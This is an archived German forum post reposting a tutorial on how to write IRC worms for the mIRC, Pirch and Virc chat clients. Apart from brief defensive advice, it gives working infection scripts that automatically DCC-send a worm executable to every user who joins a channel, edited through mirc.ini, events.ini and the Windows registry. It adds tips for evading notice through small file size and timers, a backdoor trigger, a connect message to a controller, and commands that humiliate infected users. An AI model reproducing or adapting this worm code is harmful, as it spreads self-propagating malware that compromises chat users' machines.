PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : IRC Viren



PCKING
10.12.2005, 19:02
Hi@all habe hier mal ein Tut gefunden wie man IRC Viren Programmiert. Das Tut ist nicht von mir. Villeicht kann jemand damit was anfangen
==============================================


In diesem kleinen Tutorial will ich euch etwas über IRC Würmer erzählen,
wie man sich gegen sie wehrt und wie man sie schreibt.

Um im Internet Relay Chat (IRC) chatten zu können braucht man einen
Clienten. Dies kann eine Java Applikation auf irgendeiner
Homepage sein, oder einer der etwas komfortableren (und mächtigeren ;)
Clienten, den man sich aus dem Netz zieht und dann von der Platte
startet, wie zum Beispiel mIRC, Virc oder Pirch. Es gibt noch einige
weitere, aber dies sind die bekanntesten. Diese Clienten bieten nun
die Möglichkeit, sich per Script an den Geschmack des Anwenders
anzupassen. Dadurch hat sich ein regelrechter Boom an verschiedenen
Scripts entwickelt, die man sich aus dem Netz (www.mircx.com)
runterladen kann. Jedes dieser Scripte hat spezielle Vor- und
Nachteile. So gibt es zum Beispiel Entertainment-Scripts, die
Spiele über den IRC ermöglichen und War-Scripts, mit denen man
Chat-räume (Channels) übernehmen kann. Mit den IRC-Clienten kann
man auch Dateien über die Server zu anderen Chatter schicken, was einen
findigen Menschen auf die Idee brachte einen Wurm für diese Clienten
zu programmieren. Der erste IRC-Wurm war der sogenannte Script.ini
Wurm, was viele Chatter verunsicherte, da die Datei Script.ini bei jedem
mIRC-Clienten standartmäßig dabei ist. In dieser Datei ist das Script
gespeichert, das euren Clienten ausmacht. Dieser Wurm war auch eine
Datei namens Script.ini, die den Wurmcode enthielt. Wenn man nun den
dcc-send annahm wurde die alte Script.ini durch die neue ersetzt, da der
Standartdownload Ordner der gleiche wie der war, in dem die ganzen mIRC
Dateien gespeichert waren. Schon war man infiziert, und wenn jemand neues
einen Channel in dem man chattete betrat schickte man ihm automatisch
eine infizierte Script.ini.
Der nächste IRC Wurm, der bekannt wurde, war DM-Setup mit seinen
Varianten. Diesmal wurde keine .INI Datei mit Script verschickt,
sondern eine .EXE Datei, die dann das Script veränderte. Auch dieser Wurm
war für mIRC, da dies der am weitesten verbreitete IRC-Client ist.
Am Besten ist es also, wenn man kurz nach einem Channel-Join ohne
Absprache mit dem Sender eine Datei erhält, diese entweder gleich löschen
oder mit einem guten Viren-Programm scannen. Für euch als IRC-Worm
Schreiberlinge bedeutet das, auch nach anderen Events ausschau zu
halten, um den Wurm zu schicken oder per .timer eine Verzögerung
einzubauen. Andere Events sind zum Beispiel: dccsend, notify, query
text..

Aber nun kommen wir zum interessanten Teil:
Wie programmiert man einen IRC-Wurm ?
Man kann einen IRC-Wurm in jeder beliebigen Programmiersprache schreiben,
man muss nur auf die verschiedenen Scriptformen der einzelnen Clienten
eingehen, aber ansonsten ist es egal ob ihr in VB, ASM oder TP programmiert..
Da ich jetzt keine Anleitung für 1000 verschiedene Programmiersprachen
angeben will beziehe ich mich auf die einzelnen Script-Sprachen. Den
Rest solltet ihr euch mit etwas Programmier-Erfahrung selber zusammenbasteln
können. Kleiner Tip noch, der Wurm sollte die 30-40KB auf keinen Fall
überschreiten, wie mein IRCWORM.NBC zum Beispiel ;), da sich dadurch
das dcc'en erheblich verlängert und den Infizierten aufmerksam macht,
der darauf meistens auf Abbrechen klickt.

1.) mIRC - Der am weitesten verbreitete IRC-Client, mit den meisten Scripts
mIRC wird standartmäßig in 'C:\mirc\' oder 'C:\mirc32\' installiert,
dies ist also auch der Ort an dem sich meistens euer Opfer befindet.
Es gibt 2 Möglichkeiten mIRC zu infizieren, entweder man überschreibt
einfach die Datei 'Script.ini' oder man patcht die Datei 'mirc.ini'
und legt dann eine neue .ini Datei mit eigenem Script an.
Die erste Möglichkeit ist recht einfach, hat aber den Nachteil, das wenn
ein etwas 'besseres/komplexeres' Script installiert ist, wird die Datei
Script.ini nicht verwendet und der wurm stopt. Die 2. Möglichkeit
ist erfolgreicher aber auch komplexer. Man muss dazu in der Datei
'mirc.ini' (ruhig mal mit notepad reinschaun) unter der Rubrik
'[rfiles]' einen Eintrag anlegen (mindestens bei n2=, da die ersten
beiden Dateien nicht verarbeitet werden) der auf eine neue .ini Datei
zeigt, die ihr anlegt. Diese .ini Datei muss mit '[Script]' (ohne ' )
anfangen und dann das Script enthalten.. hier ein Beispiel:

[Script]
n0=on 1:join:#: { if ( $nick == $me ) halt
n1= else /dcc send $nick C:\MIRC\WORM.EXE }
n2=on 1:TEXT:leave!!!:#:{ /msg $chan Your will is my command
n3= /part $chan }

Diese Script Datei hat 4 Zeilen, die ich näher erklären will...
Zeile0: wenn jemand nen Channel betritt, in dem ihr euch befindet, dann
wird überprüft ob ihr das seit, (sonst schickt man sich den
Zeile1: Wurm selbst); wenn ja, stopt das ganze, wenn nein, wird dem
Betreffenden ($nick) die Datei 'C:\MIRC\WORM.EXE' geschickt.

Zeile2: Noch ein 'Backdoor' ;p wenn der Text 'leave!!!' in einem Channel
Zeile3: gesagt wird, sagt ein Wurm-infizierter in den Channel ($chan)
einen Text und verlässt dann den Channel.

Falls ihr weitere informationen zu mIRC-Script braucht, schaut euch mal die
Datei 'mirc.hlp' an, die jedem mIRC-Clienten beiliegt. Ich werde aber
auch ein paar Extras weiter unten in diesem Tutorial angeben.

2.) Pirch - Nette Konkurrenz, da man auf mehreren Servern gleichzeitig
chatten kann.

Pirch wird normalerweise in das Verzeichnis 'C:\Pirch98\' installiert.
In der Datei 'events.ini' befindet sich das Script des Clienten.
Hier kann auch wieder auf bestimmte Ereignisse reagiert werden.
Hier ein Beispiel einer verwurmten 'events.ini'

[Levels]
Enabled=1
Count=6
Level1=000-Unknowns
000-UnknownsEnabled=1
Level2=100-Level 100
100-Level 100Enabled=1
Level3=200-Level 200
200-Level 200Enabled=1
Level4=300-Level 300
300-Level 300Enabled=1
Level5=400-Level 400
400-Level 400Enabled=1
Level6=500-Level 500
500-Level 500Enabled=1

[000-Unknowns]
User1=*!*@*
UserCount=1
Event1=ON JOIN:#:/dcc send $nick c:\Pirch98\worm.exe
EventCount=1

[100-Level 100]
UserCount=0
EventCount=0

[200-Level 200]
UserCount=0
EventCount=0

[300-Level 300]
UserCount=0
EventCount=0

[400-Level 400]
UserCount=0
EventCount=0

[500-Level 500]
UserCount=0
EventCount=0


Im Abschnitt [000-Unkowns] erkennt man die Hostmask User1=*!*@*
aller User, die in diesen Bereich fallen.. alle :)
UserCount gibt die Anzahl der verschiedenen Hostmasks an, hier ist
es 1, da alle dazugehören, wäre es unsinnig noch spezielle User
dazuzufügen. Dann kommt unser Event <g>
Wenn einer der User der in diese Kategorie gehört einen Channel
betritt, bekommt er unsere 'Wurm.exe' gesendet. EventCount ist die
Anzahl dieser Events; auch wieder nur einer. Hier bietet sich die
simple Möglichkeit an, einfach die komplette 'events.ini' durch eine
neue, 'wurmige' Version zu ersetzen. Auch hier wird Information zum
Script wieder in einer Hilfe Datei mitgeliefert. In 'Pil.hlp' findet
ihr alles, was man mit dem Script sonst noch anstellen kann.

3.) Virc - Guter Client, aber leider ohne Support. Der Coder hat keine
Zeit / Lust mehr ihn zu erweitern. :(

Virc wird normalerweise nach 'C:\Virc\' installiert, und beim ersten
Start wird das Script aus der Datei 'default.lib' geladen und in der
Windows-Registry gespeichert. Wenn man die Möglichkeit hat, sollte man
versuchen die Datei 'default.lib' zu ändern, da aber ein potentielles
Opfer meistens, den Clienten schon mal gestartet hat muss man sich
leider an der Registry vergreifen.. :(
In dem Haupt-Key 'Hkey_Users' befindet sich der Eintrag des Clientens
unter :
'.Default\Software\MeGALiTH Software\Visual IRC 96\Events\Event17'
Event17 ist der Join-event, den wir auch bei den beiden anderen
Clienten verwendet haben um den Wurm zu übergeben..
Hier gibt es dann die Option VPL, die es zu patchen gilt.. hier reicht
dann der Eintrag: 'dcc send $nick C:\VIRC\WORM.EXE' und schon ist der
Wurm startklar.
Falls ihr andere Events verwenden wollt, schaut einfach mal
mit Hilfe des Win-Programmes 'regedit' in die Registry unter
'.Default\Software\MeGALiTH Software\Visual IRC 96\Events'
dort hat jeder Event ein eigenen Key mit dem Wert NAME
dort steht der Name des Events. Unter VPL steht immer der zugehörige Code
Auch hier wird wieder etwas zum Script mit dem Clienten geliefert.
Die Datei 'vscript.txt' enthält wieder jede Menge Informationen
für neugierige Coder :) ..

4.) mIRC Extras - Alles was sonst noch Spaß macht... <eg>

Ich werde hier noch ein paar andere nette Add-Ons für mIRC
erklären, die ihr sicherlich interessant findet. Ich denke es sollte
euch nicht allzuschwer fallen, diese auf andere IRC-Clienten zu
übertragen, aber ich werde sie aus Zeit und Platzgründen nur für
mIRC angeben.

Mit dem ON TEXT Event kann man auf allerlei im Chan reagieren, was
den Infizierten 'dümmlich' dastehen lassen.. ;)

on 1:text:#:*Idiot*:/say $chan I am stupid

Wenn jemand das Wort Idiot erwähnt, durch die * ist es egal ob mitten
im Satz oder alleine, sagt der Betroffene, das er dumm ist...

on 1:Join:#:if $chan = #help /part $chan

Wenn der Infizierte den Channel #help betritt verlässt er ihn sofort
wieder, diese Technik benutzte auch DMsetup um seine Opfer aus
gewissen Channels vernzuhalten.

on 1:connect:.msg MaStEr Get ME !!!

sobald sich hier der Betroffene an einen Server angewählt hat, wird
er jemanden mit dem nick MaStEr über dies Bescheid sagen, pracktisch,
wenn man noch einige Backdoors eingebaut hat.

/titlebar *#*#*#*#*#*( You are lame )*#*#*#*#*#*#*

Ändert den Titel des mIRC-Fensters und gibt ihm eine neue Überschrift.

/timer1 60 /kick $me

wenn man den Timer als Reaktion auf ein Event benutzt, kann man
Ereignisse verzögern, so das sie erst später passieren, hier im
Beispiel werden 60 Sekunden gewartet, bis der Betroffene sich selbst
kickt.

on 1:TEXT:#:*scare*:.timer 1 $rand(50,100) /echo BUUH !

Hier wird auf das Wort 'scare' geachtet, dann ein Timer gestartet,
der zwischen 50 und 100 Sekunden wartet und dann ein BUUH !
ausgibt.. der Punkt bei '.timer' bedeutet, das das Kommando keine
Nachricht an den Infizierten ausgibt, das Timer 1 gestartet wird.
Dieser Punkt bietet sich bei mehreren Befehlen an.. :9

Mir /run <PROG> kann man auf bestimme Events hin Programme auf dem
PC des mIRC Users starten. So zum Beispiel Netscape, mit der Option
eine gewisse Site im Netz zu besuchen.. :)
( /run Netscape www.KryptoCrew.de )


Ich hoffe ich konnte euch mit diesem Tutorial die Funktionsweise eines
IRC-Wurms näherbringen...